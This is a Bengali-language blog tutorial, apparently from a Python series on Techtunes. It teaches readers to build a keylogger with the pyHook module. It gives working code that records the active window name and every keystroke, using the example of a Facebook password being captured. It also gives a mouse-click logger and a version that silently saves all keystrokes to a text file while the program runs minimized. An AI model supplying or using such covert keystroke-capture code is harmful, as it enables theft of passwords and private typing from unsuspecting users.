সুপ্রিয় টেকটিউনসের সবাইকে জানাই শুভেচ্ছা । আশা করি সবাই ভাল আছেন ।আজ পইথনের ২২ তম পর্বে আমি পাইথন দিয়ে কিছূ ছোটখাট হ্যাকিং টুলস তেরী করা শেখাব আপনাদের । তবে ভীত হবার কোন কারণ নেই । কারণ জিনিসটা খুবই সহজ ।আপনাকে শুধু কিছু কিছু মডিউল কমান্ড জানতে হবেই কাজের জন্য ।আমরা আজ pyHook মডিউল নিয়ে মূলত কাজ করব ।এছাড়ও কিছু মডিউল রয়েছে যেগুলো আপনারা দেখতে পাবেন । প্রথমে এইখান থেকে পাইথনের জন্য আপনার ভার্সন ও উউন্ডোজ অনুযায়ী pyWin32 ও pyHook মডিউলটা ডাউনলোড ও ইনস্টল করে নিন । তারপর আপনারা হ্যাকিং টুলস তৈরীর জন্য পুরোপুরি তৈরী । মূলত এটা অনেক উপায়ে তৈরী করা যায় । তবে আমি বর্তমানে আপনাদের কয়েকটি পদ্ধতি দেখাব ।আমি আপনাদের দেখাব একটা সিম্পল কীলগার কীভাবে তৈরী করা যায় । পরে আপনারা গুগলে সার্চ দিলে আরও অনেক টেকনিক পেয়ে যাবেন ।আমি এখানে পাইথন ২.৭ এর উপর লিখলাম । কারণ এই মডিউলটার ভার্সন পাইথন ৩.৩ তে একটু সমস্যা দেয় । প্রথমে আপনারা নীচের কোডগুলি টাইপ করুন ও রান করান ।
import pythoncom, pyHook def OnKeyboardEvent(event): print “WindowName:”,event.WindowName print “Key:”, event.Key print “KeyID:”, event.KeyID print ”---“ return True hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
এখানে মূলত আমরা প্রথমে ২ টি মডিউল ইমপোর্ট করেছি । এরপর একটা ফাংশন ডিক্লেয়ার করে তার মধ্যে কিছূ কোড লিখেছি । আসুন , কোডগুলোর অর্থ সম্পর্কে একটু ক্লিয়ার হই ।
print 'WindowName:',event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print 'Key:', event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print 'KeyID:', event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।
print 'MessageName:',event.MessageName print 'Message:',event.Message print 'Time:',event.Time print 'Window:',event.Window print 'Ascii:', event.Ascii, chr(event.Ascii) print 'ScanCode:', event.ScanCode print 'Extended:', event.Extended print 'Injected:', event.Injected print 'Alt', event.Alt print 'Transition', event.Transition
এখানে hm টা হল জাস্ট একটা ভ্যারিয়েবল । আপনারা ইচ্ছা করলে এটির অন্য যেকোন নাম দিতে পারেন ।
এগুলো ইউজ করে দেখুন , আপনারা কীবোর্ডের ক্যাপচারের আর ও অনেক তথ্য পাবেন । এবার প্রোগ্রামটি রান করে মিনিমাইজ করে রাখুন । ব্যাস , এটি নিজের মনে কাজ করে যাবে ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।
import pythoncom, pyHook def OnMouseEvent(event): # called when mouse events are received print 'MessageName:',event.MessageName print 'Message:',event.Message print 'Time:',event.Time print 'Window:',event.Window print 'WindowName:',event.WindowName print 'Position:',event.Position print 'Wheel:',event.Wheel print 'Injected:',event.Injected print '---' return True hm = pyHook.HookManager() hm.MouseAll = OnMouseEvent hm.HookMouse() pythoncom.PumpMessages()
এখন ধরুন আপনি আপনার সকল কী্স্ট্রোক একটা নোটপ্যাডে টেক্সটআকারে সেভ রাখতে চান , তাহলে কী করতে হবে । উপায় আছে । সবাই নীচের কোডটি টাইপ করুন ।
import pyHook, pythoncom, sys, logging file_log = "C:\\log.txt" def OnKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG, format="%(message)s") chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() PumpMessages()
এখানে মূলত আমরা pyHook, pythoncom, sys, logging নামের ৪ টি মডিউল ইমপোর্ট করেছি । তারপর সব লগ সেভ করার জন্য file_log নামের একটা ভ্যারিয়েবল নিয়ে যে প্যাথে আমাদের কী স্ট্রোকগুলো সেভ হবে সেটা দেখিয়ে দিযেছি । তারপর একটা ফাংশন ডিফাইন করে logging মডিউলটা ইউজ করে আমরা কোথায় আমাদের সব টেক্সট সেভ হবে সেটা বলে দিয়েছি ও কী ফরম্যাটে সেভ হবে ও কীভাবে সেভ হবে সেটাও বলে দিয়েছি ।তারপর আমরা ASCII ফরম্যাটের সব কীস্ট্রোক ক্যাপচার করার জন্য নীচের কোড দুটি ইউজ করেছি । তারপরের কাজ সবই উপরের প্রোগ্রামটার মতই । এবার এই প্রোগ্রামটা সেভ করে রান করুন ও মিনিমাইজ করে রাখুন । দেখুন , আপনার টেক্সট ফাইলে আপনার সব কীস্ট্রোক সেভ হয়ে আছে । অবশ্য আপনার দেওয়া প্যাথে একটি নোটপ্যাড ফাইল আগে থেকেই তৈরী করে রাখবেন । না হলে ইরর দেখাতে পারে ।
আর আপনার গুগলে সার্চ দিয়ে pyHook মডিউলটার উপর আরো পড়াশুনা করুন । আশা করি আরও নতুন কিছু শিখতে পারবেন ।
আমি আমাদের ভার্সিটির(খুলনা বিশ্ববিদ্যালয়) এডমিশন টেষ্টের জন্য সিট প্লান সার্চ দেওয়ার একটা এপ্লিকেমন তৈরী করেছি গ্রাফিক্যাল ইউজার ইন্টারফেস সহ ।এটা মূলত প্লান করা আমার মামুর । আর ডেভলপ করা আমার । আশা করছি পরের পর্বে এটা আপনাদের মাঝে শেয়ার করব । সাথে আমাদের গ্রুপের মেম্বর মাহমুদ রাজু ভাইয়ের তৈরী কার একটা গ্রাফিক্যাল প্রোগ্রামও শেয়ার করব বলে আশা করছি । ফলে আপনাদের GUI প্রোগ্রামিং এর বেসিকটা আরও ভাল হবে বলে আমি আশা করছি ।
সবাই ভাল থাকবেন । সবাইকে ধন্যবাদ ।
আমি অরিন্দম পাল। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 12 বছর 6 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 81 টি টিউন ও 316 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 20 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।
মানসিক ভাবে দূর্বল । কোন কাজই কনফিডেন্টলি করতে পারি না , তবুও দেখি কাজ শেষ পর্যন্ত হয়ে যায় । নিজের সম্পর্কে এক এক সময় ধারণা এক এক রকম হয় । আমার কোন বেল ব্রেক নেই । সকালে যে কাজ করব ঠিক করি , বিকালে তা করতে পারি না । নিজের...
onek dhonnobad